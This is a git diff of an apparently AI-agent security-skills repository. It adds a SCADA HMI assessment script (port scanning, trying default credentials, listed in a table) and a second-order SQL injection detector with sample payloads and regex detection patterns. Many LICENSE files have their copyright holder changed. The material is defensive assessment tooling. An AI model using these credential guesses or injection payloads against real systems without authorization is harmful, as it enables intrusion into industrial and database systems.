/dev/null +++ b/skills/performing-scada-hmi-security-assessment/references/api-reference.md @@ -0,0 +1,86 @@ +# SCADA HMI Security Assessment - API Reference + +## SCADA Protocol Ports + +| Port | Protocol | Description | +|------|----------|-------------| +| 102 | S7comm | Siemens S7 PLC communication | +| 502 | Modbus TCP | Industrial automation protocol | +| 2222 | EtherNet/IP | Allen-Bradley, Rockwell | +| 4840 | OPC UA | Open Platform Communications Unified Architecture | +| 20000 | DNP3 | Distributed Network Protocol | +| 47808 | BACnet | Building Automation and Control | + +## Port Scanning (socket stdlib) + +```python +import socket +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.settimeout(2.0) +result = sock.connect_ex((target, port)) # 0 = open +sock.close() +``` + +## pyshark for Protocol Analysis + +```python +import pyshark +cap = pyshark.FileCapture("traffic.pcap") +for pkt in cap: + for layer in pkt.layers: + print(layer.layer_name) # modbus, s7comm, dnp3, etc. +cap.close() +``` + +### Insecure SCADA Protocols +These protocols lack built-in encryption and authentication: +- **Modbus TCP** - No auth, no encryption, commands in plaintext +- **S7comm** - No auth (pre-V4), no encryption +- **DNP3** - Optional Secure Authentication (SA), rarely deployed +- **BACnet** - No native security mechanisms +- **EtherNet/IP** - No encryption, device enumeration possible + +## HMI Configuration Checks + +| Check | Severity | Description | +|-------|----------|-------------| +| Authentication disabled | Critical | HMI allows anonymous access | +| No session timeout | High | Sessions persist indefinitely | +| TLS disabled | High | Communications in plaintext | +| Remote access without VPN | Critical | HMI exposed without tunnel | +| No RBAC | High | Single role or no access control | +| Default credentials | Critical | Factory-default username/password | + +## Common Default Credentials + +| Username | Password | Platform | +|----------|----------|----------| +| admin | admin | Generic HMI | +| admin | 1234 | Siemens WinCC | +| operator | operator | Wonderware | +| engineer | engineer | GE iFIX | +| guest | guest | Various | + +## ICS Security Standards + +- **IEC 62443** - Industrial communication network security +- **NIST SP 800-82** - Guide to ICS Security +- **NERC CIP** - Critical Infrastructure Protection (power grid) + +## Output Schema + +```json +{ + "report": "scada_hmi_security_assessment", + "target": "192.168.1.100", + "total_findings": 6, + "severity_summary": {"critical": 2, "high": 3, "medium": 1}, + "findings": [{"type": "open_scada_port", "severity": "high"}] +} +``` + +## CLI Usage + +```bash +python agent.py --target 192.168.1.100 --pcap traffic.pcap --config hmi.json --output report.json +``` diff --git a/skills/performing-scada-hmi-security-assessment/scripts/agent.py b/skills/performing-scada-hmi-security-assessment/scripts/agent.py new file mode 100644 index 00000000..8ecca7a7 --- /dev/null +++ b/skills/performing-scada-hmi-security-assessment/scripts/agent.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python3 +"""SCADA HMI Security Assessment agent — analyzes SCADA HMI configurations +for security weaknesses including default credentials, unencrypted protocols, +and missing access controls.""" + +import argparse +import json +import socket +import sys +from collections import Counter +from datetime import datetime +from pathlib import Path + +try: + import pyshark +except ImportError: + pyshark = None + +SCADA_PORTS = { + 102: "S7comm (Siemens)", + 502: "Modbus TCP", + 2222: "EtherNet/IP", + 4840: "OPC UA", + 20000: "DNP3", + 47808: "BACnet", + 1089: "FF HSE", + 18245: "GE SRTP", +} + +DEFAULT_CREDENTIALS = [ + ("admin", "admin"), ("admin", "password"), ("admin", "1234"), + ("operator", "operator"), ("engineer", "engineer"), + ("guest", "guest"), ("user", "user"), + ("Administrator", ""), ("root", "root"), +] + +INSECURE_PROTOCOLS = {"modbus", "s7comm", "dnp3", "bacnet", "enip"} + + +def scan_open_ports(target: str, ports: list[int] = None, timeout: float = 2.0) -> list[dict]: + """Check for open SCADA-specific ports on target.""" + if ports is None: + ports = list(SCADA_PORTS.keys()) + results = [] + for port in ports: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((target, port)) + if result == 0: + results.append({ + "port": port, + "protocol": SCADA_PORTS.get(port, "unknown"), + "status": "open", + "risk": "high" if port in (502, 102, 20000) else "medium", + }) + sock.close() + except socket.error: + pass + return results + + +def check_default_credentials_http(target: str, port: int = 80) -> list[dict]: + """Check for default credentials on HMI web interface.""" + import urllib.request + import base64 + findings = [] + for user, pwd in DEFAULT_CREDENTIALS: + try: + url = f"http://{target}:{port}/" + creds = base64.b64encode(f"{user}:{pwd}".encode()).decode() + req = urllib.request.Request(url, headers={"Authorization": f"Basic {creds}"}) + resp = urllib.request.urlopen(req, timeout=5) + if resp.status == 200: + findings.append({ + "type": "default_credential", + "severity": "critical", + "username": user, + "port": port, + "detail": f"Default credential {user}:{pwd} accepted on port {port}", + }) + except Exception: + continue + return findings + + +def analyze_pcap_protocols(pcap_path: str) -> list[dict]: + """Analyze PCAP for insecure SCADA protocols.""" + if pyshark is None: + return [{"error": "pyshark not installed"}] + findings = [] + protocol_counts = Counter() + try: + cap = pyshark.FileCapture(pcap_path) + for pkt in cap: + for layer in pkt.layers: + lname = layer.layer_name.lower() + if lname in INSECURE_PROTOCOLS: + protocol_counts[lname] += 1 + cap.close() + except Exception as e: + return [{"error": str(e)}] + + for proto, count in protocol_counts.items(): + findings.append({ + "type": "insecure_protocol", + "severity": "high", + "protocol": proto, + "packet_count": count, + "detail": f"{proto} traffic detected ({count} packets) — no encryption or authentication", + }) + return findings + + +def check_hmi_configuration(config_path: str) -> list[dict]: + """Analyze HMI configuration file for security weaknesses.""" + findings = [] + try: + config = json.loads(Path(config_path).read_text(encoding="utf-8")) + except (json.JSONDecodeError, FileNotFoundError) as e: + return [{"error": str(e)}] + + if not config.get("authentication", {}).get("enabled", True): + findings.append({"type": "auth_disabled", "severity": "critical", + "detail": "Authentication is disabled on HMI"}) + if config.get("session_timeout", 0) == 0: + findings.append({"type": "no_session_timeout", "severity": "high", + "detail": "No session timeout configured"}) + if not config.get("encryption", {}).get("tls_enabled", True): + findings.append({"type": "no_tls", "severity": "high", + "detail": "TLS not enabled for HMI communications"}) + if config.get("remote_access", {}).get("enabled", False): + if not config.get("remote_access", {}).get("vpn_required", True): + findings.append({"type": "remote_no_vpn", "severity": "critical", + "detail": "Remote access enabled without VPN requirement"}) + roles = config.get("roles", []) + if len(roles) <= 1: + findings.append({"type": "no_rbac", "severity": "high", + "detail": "No role-based access control — single role or no roles defined"}) + return findings + + +def generate_report(target: str, pcap_path: str = None, + config_path: str = None, scan_ports: bool = True) -> dict: + """Run all assessments and build consolidated report.""" + findings = [] + if scan_ports: + open_ports = scan_open_ports(target) + for p in open_ports: + findings.append({"type": "open_scada_port", "severity": p["risk"], + "detail": f"Port {p['port']} ({p['protocol']}) is open"}) + if pcap_path: + findings.extend(analyze_pcap_protocols(pcap_path)) + if config_path: + findings.extend(check_hmi_configuration(config_path)) + + severity_counts = Counter(f.get("severity", "info") for f in findings) + return { + "report": "scada_hmi_security_assessment", + "generated_at": datetime.utcnow().isoformat() + "Z", + "target": target, + "total_findings": len(findings), + "severity_summary": dict(severity_counts), + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="SCADA HMI Security Assessment Agent") + parser.add_argument("--target", required=True, help="Target HMI IP address") + parser.add_argument("--pcap", help="PCAP file with SCADA traffic") + parser.add_argument("--config", help="HMI configuration JSON file") + parser.add_argument("--no-scan", action="store_true", help="Skip port scanning") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + report = generate_report(args.target, args.pcap, args.config, not args.no_scan) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-second-order-sql-injection/LICENSE b/skills/performing-second-order-sql-injection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-second-order-sql-injection/LICENSE +++ b/skills/performing-second-order-sql-injection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-second-order-sql-injection/references/api-reference.md b/skills/performing-second-order-sql-injection/references/api-reference.md new file mode 100644 index 00000000..e2186784 --- /dev/null +++ b/skills/performing-second-order-sql-injection/references/api-reference.md @@ -0,0 +1,87 @@ +# Second-Order SQL Injection - API Reference + +## Attack Overview + +Second-order SQL injection occurs when user-supplied data is stored in a database and later incorporated into SQL queries without sanitization. Unlike first-order SQLi, the injection payload is not executed at the point of input but at a secondary execution point. + +**Attack Flow:** +1. Attacker submits payload via input form (e.g., username registration) +2. Application safely stores the payload in database (parameterized INSERT) +3. Application later retrieves the stored value +4. Stored value is concatenated into a new SQL query without sanitization +5. Injection executes at the secondary query point + +## SQL Injection Patterns + +| Pattern | Example | Risk | +|---------|---------|------| +| UNION SELECT | `' UNION SELECT password FROM users--` | Data exfiltration | +| Tautology | `' OR 1=1--` | Authentication bypass | +| Stacked queries | `'; DROP TABLE users--` | Data destruction | +| Time-based blind | `'; WAITFOR DELAY '0:0:5'--` | Data extraction | +| Error-based | `' AND CONVERT(int, @@version)--` | Information disclosure | + +## Code Sink Patterns (Vulnerable Code) + +### Python (dangerous) +```python +cursor.execute(f"SELECT * FROM orders WHERE user='{username}'") +cursor.execute("SELECT * FROM orders WHERE user='%s'" % username) +``` + +### Python (safe - parameterized) +```python +cursor.execute("SELECT * FROM orders WHERE user=%s", (username,)) +``` + +### PHP (dangerous) +```php +$query = "SELECT * FROM orders WHERE user='" . $username . "'"; +``` + +## Database Dump Format + +The agent expects JSON format for database analysis: +```json +{ + "users": [ + {"id": 1, "username": "admin", "email": "admin@example.com"}, + {"id": 2, "username": "' UNION SELECT 1,2,3--", "email": "test@test.com"} + ], + "comments": [ + {"id": 1, "body": "Normal comment"}, + {"id": 2, "body": "'; DROP TABLE users--"} + ] +} +``` + +## Data Flow Tracing + +The agent correlates stored payloads with code sinks by matching table/column names referenced in source code queries against tables containing injection payloads. + +## Prevention + +- Use parameterized queries (prepared statements) everywhere +- Apply output encoding when using stored data in queries +- Implement stored procedure-based data access +- Use an ORM that auto-parameterizes queries +- Validate data on both input AND retrieval from database + +## Output Schema + +```json +{ + "report": "second_order_sql_injection", + "total_findings": 15, + "stored_payloads": 5, + "code_sinks": 8, + "confirmed_attack_paths": 2, + "findings": [{"type": "confirmed_attack_path", "severity": "critical"}] +} +``` + +## CLI Usage + +```bash +python agent.py --db-dump database.json --source /app/src --output report.json +``` diff --git a/skills/performing-second-order-sql-injection/scripts/agent.py b/skills/performing-second-order-sql-injection/scripts/agent.py new file mode 100644 index 00000000..1e954df2 --- /dev/null +++ b/skills/performing-second-order-sql-injection/scripts/agent.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python3 +"""Second-Order SQL Injection agent — detects stored SQL injection payloads +by analyzing database content and tracing data flow from input to secondary +query execution points.""" + +import argparse +import json +import re +import sys +from collections import Counter +from datetime import datetime +from pathlib import Path + + +SQL_INJECTION_PATTERNS = [ + r"(?i)(\bunion\b\s+\bselect\b)", + r"(?i)(\bor\b\s+1\s*=\s*1)", + r"(?i)(\band\b\s+1\s*=\s*1)", + r"(?i)(;\s*drop\s+table\b)", + r"(?i)(;\s*delete\s+from\b)", + r"(?i)(;\s*update\b.*\bset\b)", + r"(?i)(;\s*insert\s+into\b)", + r"(?i)(--\s*$)", + r"(?i)(\bexec\b\s*\()", + r"(?i)(\bwaitfor\b\s+\bdelay\b)", + r"(?i)(\bsleep\b\s*\(\d+\))", + r"(?i)(\bconvert\b\s*\()", + r"(?i)(\bcast\b\s*\(.*\bas\b)", + r"(?i)(\bchar\b\s*\(\d+\))", + r"(?i)(\b0x[0-9a-f]+\b)", + r"(\x27|\x22)\s*(or|and|union)", +] + + +def scan_database_values(db_dump_path: str) -> list[dict]: + """Scan a database dump (JSON format) for stored SQL injection payloads.""" + data = json.loads(Path(db_dump_path).read_text(encoding="utf-8")) + findings = [] + for table_name, rows in data.items(): + for row_idx, row in enumerate(rows): + for col_name, value in row.items(): + if not isinstance(value, str): + continue + for pattern in SQL_INJECTION_PATTERNS: + match = re.search(pattern, value) + if match: + findings.append({ + "type": "stored_sqli_payload", + "severity": "critical", + "table": table_name, + "column": col_name, + "row_index": row_idx, + "matched_pattern": pattern, + "matched_text": match.group(0), + "value_preview": value[:200], + "detail": f"SQL injection payload in {table_name}.{col_name} row {row_idx}", + }) + break + return findings + + +def scan_source_code(source_dir: str) -> list[dict]: + """Scan source code for second-order SQL injection sinks (string concatenation with DB data).""" + dangerous_patterns = [ + (r"(?i)cursor\.execute\s*\(\s*[\"'].*%s", "python_format_string"), + (r"(?i)cursor\.execute\s*\(\s*f[\"']", "python_fstring"), + (r'(?i)query\s*=\s*["\'].*\+\s*\w+', "string_concatenation"), + (r"(?i)\.format\s*\(.*\)\s*\)", "python_format"), + (r'(?i)\$\{.*\}\s*(?:FROM|WHERE|INSERT|UPDATE|DELETE)', "template_literal"), + (r'(?i)sprintf\s*\(\s*["\'].*(?:SELECT|INSERT|UPDATE|DELETE)', "sprintf_query"), + ] + findings = [] + src = Path(source_dir) + for ext in ("*.py", "*.php", "*.java", "*.js", "*.rb", "*.cs"): + for fpath in src.rglob(ext): + try: + content = fpath.read_text(encoding="utf-8", errors="ignore") + for line_no, line in enumerate(content.splitlines(), 1): + for pattern, pattern_name in dangerous_patterns: + if re.search(pattern, line): + findings.append({ + "type": "second_order_sqli_sink", + "severity": "high", + "file": str(fpath), + "line": line_no, + "pattern": pattern_name, + "code_snippet": line.strip()[:200], + "detail": f"Potential second-order SQLi sink at {fpath.name}:{line_no}", + }) + break + except OSError: + continue + return findings + + +def trace_data_flow(db_findings: list[dict], code_findings: list[dict]) -> list[dict]: + """Correlate stored payloads with code sinks to identify complete attack paths.""" + attack_paths = [] + for db_f in db_findings: + table = db_f["table"] + column = db_f["column"] + for code_f in code_findings: + snippet = code_f.get("code_snippet", "").lower() + if table.lower() in snippet or column.lower() in snippet: + attack_paths.append({ + "type": "confirmed_attack_path", + "severity": "critical", + "source": f"{table}.{column}", + "sink": f"{code_f['file']}:{code_f['line']}", + "detail": f"Stored payload in {table}.{column} flows to query at {code_f['file']}:{code_f['line']}", + }) + return attack_paths + + +def generate_report(db_dump_path: str = None, source_dir: str = None) -> dict: + """Run analysis and build consolidated report.""" + findings = [] + db_findings = [] + code_findings = [] + + if db_dump_path: + db_findings = scan_database_values(db_dump_path) + findings.extend(db_findings) + if source_dir: + code_findings = scan_source_code(source_dir) + findings.extend(code_findings) + if db_findings and code_findings: + attack_paths = trace_data_flow(db_findings, code_findings) + findings.extend(attack_paths) + + severity_counts = Counter(f.get("severity", "info") for f in findings) + return { + "report": "second_order_sql_injection", + "generated_at": datetime.utcnow().isoformat() + "Z", + "total_findings": len(findings), + "severity_summary": dict(severity_counts), + "stored_payloads": len(db_findings), + "code_sinks": len(code_findings), + "confirmed_attack_paths": len([f for f in findings if f["type"] == "confirmed_attack_path"]), + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="Second-Order SQL Injection Agent") + parser.add_argument("--db-dump", help="JSON database dump file to scan for stored payloads") + parser.add_argument("--source", help="Source code directory to scan for injection sinks") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + if not args.db_dump and not args.source: + parser.error("At least one of --db-dump or --source is required") + + report = generate_report(args.db_dump, args.source) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-security-headers-audit/LICENSE b/skills/performing-security-headers-audit/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-security-headers-audit/LICENSE +++ b/skills/performing-security-headers-audit/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-serverless-function-security-review/LICENSE b/skills/performing-serverless-function-security-review/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-serverless-function-security-review/LICENSE +++ b/skills/performing-serverless-function-security-review/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-service-account-audit/LICENSE b/skills/performing-service-account-audit/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-service-account-audit/LICENSE +++ b/skills/performing-service-account-audit/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-service-account-credential-rotation/LICENSE b/skills/performing-service-account-credential-rotation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-service-account-credential-rotation/LICENSE +++ b/skills/performing-service-account-credential-rotation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-soap-web-service-security-testing/LICENSE b/skills/performing-soap-web-service-security-testing/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-soap-web-service-security-testing/LICENSE +++ b/skills/performing-soap-web-service-security-testing/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-soc-tabletop-exercise/LICENSE b/skills/performing-soc-tabletop-exercise/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-soc-tabletop-exercise/LICENSE +++ b/skills/performing-soc-tabletop-exercise/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-soc2-type2-audit-preparation/LICENSE b/skills/performing-soc2-type2-audit-preparation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-soc2-type2-audit-preparation/LICENSE +++ b/skills/performing-soc2-type2-audit-preparation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-sqlite-database-forensics/LICENSE b/skills/performing-sqlite-database-forensics/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-sqlite-database-forensics/LICENSE +++ b/skills/performing-sqlite-database-forensics/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ssl-certificate-lifecycle-management/LICENSE b/skills/performing-ssl-certificate-lifecycle-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ssl-certificate-lifecycle-management/LICENSE +++ b/skills/performing-ssl-certificate-lifecycle-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ssl-stripping-attack/LICENSE b/skills/performing-ssl-stripping-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ssl-stripping-attack/LICENSE +++ b/skills/performing-ssl-stripping-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ssl-tls-inspection-configuration/LICENSE b/skills/performing-ssl-tls-inspection-configuration/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ssl-tls-inspection-configuration/LICENSE +++ b/skills/performing-ssl-tls-inspection-configuration/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-ssrf-vulnerability-exploitation/LICENSE b/skills/performing-ssrf-vulnerability-exploitation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-ssrf-vulnerability-exploitation/LICENSE +++ b/skills/performing-ssrf-vulnerability-exploitation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-static-malware-analysis-with-pe-studio/LICENSE b/skills/performing-static-malware-analysis-with-pe-studio/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-static-malware-analysis-with-pe-studio/LICENSE +++ b/skills/performing-static-malware-analysis-with-pe-studio/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-steganography-detection/LICENSE b/skills/performing-steganography-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-steganography-detection/LICENSE +++ b/skills/performing-steganography-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-subdomain-enumeration-with-subfinder/LICENSE b/skills/performing-subdomain-enumeration-with-subfinder/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-subdomain-enumeration-with-subfinder/LICENSE +++ b/skills/performing-subdomain-enumeration-with-subfinder/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-thick-client-application-penetration-test/LICENSE b/skills/performing-thick-client-application-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-thick-client-application-penetration-test/LICENSE +++ b/skills/performing-thick-client-application-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-threat-emulation-with-atomic-red-team/LICENSE b/skills/performing-threat-emulation-with-atomic-red-team/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-threat-emulation-with-atomic-red-team/LICENSE +++ b/skills/performing-threat-emulation-with-atomic-red-team/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-threat-hunting-with-elastic-siem/LICENSE b/skills/performing-threat-hunting-with-elastic-siem/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-threat-hunting-with-elastic-siem/LICENSE +++ b/skills/performing-threat-hunting-with-elastic-siem/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-threat-landscape-assessment-for-sector/LICENSE b/skills/performing-threat-landscape-assessment-for-sector/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-threat-landscape-assessment-for-sector/LICENSE +++ b/skills/performing-threat-landscape-assessment-for-sector/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-threat-modeling-with-owasp-threat-dragon/LICENSE b/skills/performing-threat-modeling-with-owasp-threat-dragon/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-threat-modeling-with-owasp-threat-dragon/LICENSE +++ b/skills/performing-threat-modeling-with-owasp-threat-dragon/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-timeline-reconstruction-with-plaso/LICENSE b/skills/performing-timeline-reconstruction-with-plaso/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-timeline-reconstruction-with-plaso/LICENSE +++ b/skills/performing-timeline-reconstruction-with-plaso/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-user-behavior-analytics/LICENSE b/skills/performing-user-behavior-analytics/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-user-behavior-analytics/LICENSE +++ b/skills/performing-user-behavior-analytics/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-vlan-hopping-attack/LICENSE b/skills/performing-vlan-hopping-attack/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-vlan-hopping-attack/LICENSE +++ b/skills/performing-vlan-hopping-attack/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-vulnerability-scanning-with-nessus/LICENSE b/skills/performing-vulnerability-scanning-with-nessus/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-vulnerability-scanning-with-nessus/LICENSE +++ b/skills/performing-vulnerability-scanning-with-nessus/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-web-application-firewall-bypass/LICENSE b/skills/performing-web-application-firewall-bypass/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-web-application-firewall-bypass/LICENSE +++ b/skills/performing-web-application-firewall-bypass/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-web-application-penetration-test/LICENSE b/skills/performing-web-application-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-web-application-penetration-test/LICENSE +++ b/skills/performing-web-application-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-web-application-scanning-with-nikto/LICENSE b/skills/performing-web-application-scanning-with-nikto/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-web-application-scanning-with-nikto/LICENSE +++ b/skills/performing-web-application-scanning-with-nikto/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-web-application-vulnerability-triage/LICENSE b/skills/performing-web-application-vulnerability-triage/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-web-application-vulnerability-triage/LICENSE +++ b/skills/performing-web-application-vulnerability-triage/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-web-application-vulnerability-triage/references/api-reference.md b/skills/performing-web-application-vulnerability-triage/references/api-reference.md new file mode 100644 index 00000000..67cd890f --- /dev/null +++ b/skills/performing-web-application-vulnerability-triage/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Web Application Vulnerability Triage + +## SLA Remediation Timelines + +| Severity | CVSS Range | SLA (Days) | +|----------|-----------|------------| +| Critical | 9.0-10.0 | 7 | +| High | 7.0-8.9 | 30 | +| Medium | 4.0-6.9 | 90 | +| Low | 0.1-3.9 | 180 | +| Info | 0.0 | 365 | + +## Scanner JSON Formats + +### OWASP ZAP +| Field | Description | +|-------|-------------| +| `alerts[].name` | Finding title | +| `alerts[].risk` | Severity (High, Medium, Low, Informational) | +| `alerts[].cweid` | CWE identifier | +| `alerts[].uri` | Affected URL | + +### Burp 